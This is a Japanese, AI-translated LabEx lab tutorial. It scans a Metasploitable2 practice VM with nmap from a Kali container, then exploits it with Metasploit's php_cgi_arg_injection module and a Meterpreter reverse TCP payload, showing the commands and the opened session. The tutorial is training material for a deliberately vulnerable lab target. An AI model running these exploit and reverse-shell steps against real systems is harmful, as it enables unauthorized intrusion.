Kali Linux で Nmap を使った脆弱性スキャンとペネトレーションテストの実行

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Kali Linux の様々なツールを使用して、ターゲットマシンに対する脆弱性スキャンとペネトレーションテストを行う方法を学びます。目的は、人気のある脆弱性スキャンツールを使った実践的な経験を積み、その結果を活用して成功したペネトレーション攻撃を行う方法を理解することです。この実験は LabEx プラットフォーム上で行われ、攻撃マシンとして Kali Linux コンテナが、ターゲットとして Metasploitable2 仮想マシンが提供されます。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/syn_scan("SYN Scan") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/port_scanning -.-> lab-416122{{"Kali Linux で Nmap を使った脆弱性スキャンとペネトレーションテストの実行"}} nmap/host_discovery -.-> lab-416122{{"Kali Linux で Nmap を使った脆弱性スキャンとペネトレーションテストの実行"}} nmap/target_specification -.-> lab-416122{{"Kali Linux で Nmap を使った脆弱性スキャンとペネトレーションテストの実行"}} nmap/syn_scan -.-> lab-416122{{"Kali Linux で Nmap を使った脆弱性スキャンとペネトレーションテストの実行"}} nmap/service_detection -.-> lab-416122{{"Kali Linux で Nmap を使った脆弱性スキャンとペネトレーションテストの実行"}} end

環境のセットアップ

このステップでは、LabEx プラットフォーム上で Kali Linux コンテナと Metasploitable2 ターゲットマシンを起動します。

  1. LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するまで待ちます。起動には 1 ~ 3 分かかる場合があります。

  1. ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. 以下のコマンドを実行して Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

Nmap を使用した脆弱性スキャンの実行

このステップでは、Kali Linux に用意されている人気の脆弱性スキャンツールについて学びます。

  1. X-scan:X-scan は中国で有名な総合的なスキャンツールです。完全に無料で、インストール不要で、グラフィカルインターフェイスとコマンドラインインターフェイスの両方を中国語と英語でサポートしています。X-scan は「Security Focus」という有名な中国のハッカーグループによって開発され、2000 年の内部テスト版 0.2 以来、絶えず改良されてきました。

  2. Nessus:Nessus は世界で最も広く使用されている脆弱性スキャンおよび分析ソフトウェアの 1 つです。75,000 以上の組織が Nessus を使用してコンピュータシステムをスキャンしています。Nessus は 1998 年に Renaud Deraison によって作成され、インターネットコミュニティに対して、無料で強力で、頻繁に更新され、使いやすいリモートシステムセキュリティスキャンプログラムを提供することを目的としています。

  3. SQLmap:SQLmap は自動 SQL インジェクションツールで、与えられた URL の SQL インジェクション脆弱性をスキャン、検出、および悪用することができます。現在、MS - SQL、MySQL、Oracle、および PostgreSQL データベースをサポートしています。SQLmap は 4 つの独自の SQL インジェクション手法を採用しています:ブラインド推論、UNION クエリ、スタックドクエリ、および時間ベースのブラインドインジェクション。

  4. Nmap:Nmap は強力で汎用性の高いネットワーク探索およびセキュリティ監査ツールです。ネットワーク発見、ポートスキャン、および脆弱性検出など、様々な目的に使用できます。

ここでは、Nmap を使用して Metasploitable2 ターゲットマシンに対する脆弱性スキャンを実行します。

  1. Metasploit データベースサービスを起動し、データベースを初期化します。
cd ~
service postgresql start
msfdb init
  1. Metasploit コンソールを起動します。
msfconsole
  1. Metasploit コンソール内で、nmap コマンドを使用してターゲットマシンをスキャンします。
nmap -sS -T4 192.168.122.102

以下は、あなたが見るかもしれない出力の例です。

[*] exec: nmap -sS -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 23:15 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

-sS パラメータは TCP SYN スキャン(ハーフオープンまたはステルススキャンとも呼ばれる)を実行し、-T4 はタイミングポリシーを積極的に設定しますが、過度のネットワークトラフィックを避けるためにあまり速くはしません。

  1. スキャンの出力を確認します。出力には、ターゲットマシンの開いているポートとサービスが表示されるはずです。

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

脆弱性の悪用

このステップでは、Nmap スキャンで収集した情報を使って、Metasploitable2 ターゲットマシンの脆弱性を悪用します。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Nmap スキャンの結果から、ターゲットマシンの開いているポートを特定します。たとえば、ポート 80 です。Metasploit コンソールで、開いているポートに関連するエクスプロイトモジュールを検索します。
search http
  1. 適切なエクスプロイトモジュールを使用します。
use exploit/multi/http/php_cgi_arg_injection
  1. ターゲットマシンの IP アドレスを設定します。
set RHOST 192.168.122.102
  1. 使用するペイロードを設定します。
set PAYLOAD php/meterpreter/reverse_tcp
  1. ローカルマシンの IP アドレスを設定します。
set LHOST 192.168.122.1
  1. エクスプロイトを実行します。
exploit

以下は、あなたが見るかもしれない出力の例です。

[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Sending stage (39927 bytes) to 192.168.122.102
[*] Meterpreter session 1 opened (192.168.122.1:4444 -> 192.168.122.102:38510) at 2024-03-23 23:21:14 +0000
  1. エクスプロイトが成功した場合、ターゲットマシンのシェルにアクセスできるはずです。sysinfo などのコマンドを実行してシステム情報を表示することで、アクセスを確認します。

  2. 時間があれば、Nessus、SQLmap、または X - scan などの他の脆弱性スキャンツールを試してみることができます。また、Metasploitable2 ターゲットマシンの異なる脆弱性を悪用することも試みることができます。

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

まとめ

この実験では、ペネトレーションテスト用の Kali Linux 環境をセットアップする方法と、Nmap などの人気の脆弱性スキャンツールを使用してターゲットシステムの潜在的な脆弱性を特定する方法を学びました。また、Metasploit Framework を使用して脆弱性を悪用する実践的な経験も積みました。この実践的な知識は、サイバーセキュリティの分野における脆弱性スキャンとペネトレーションテストの重要性を理解するのに役立ちます。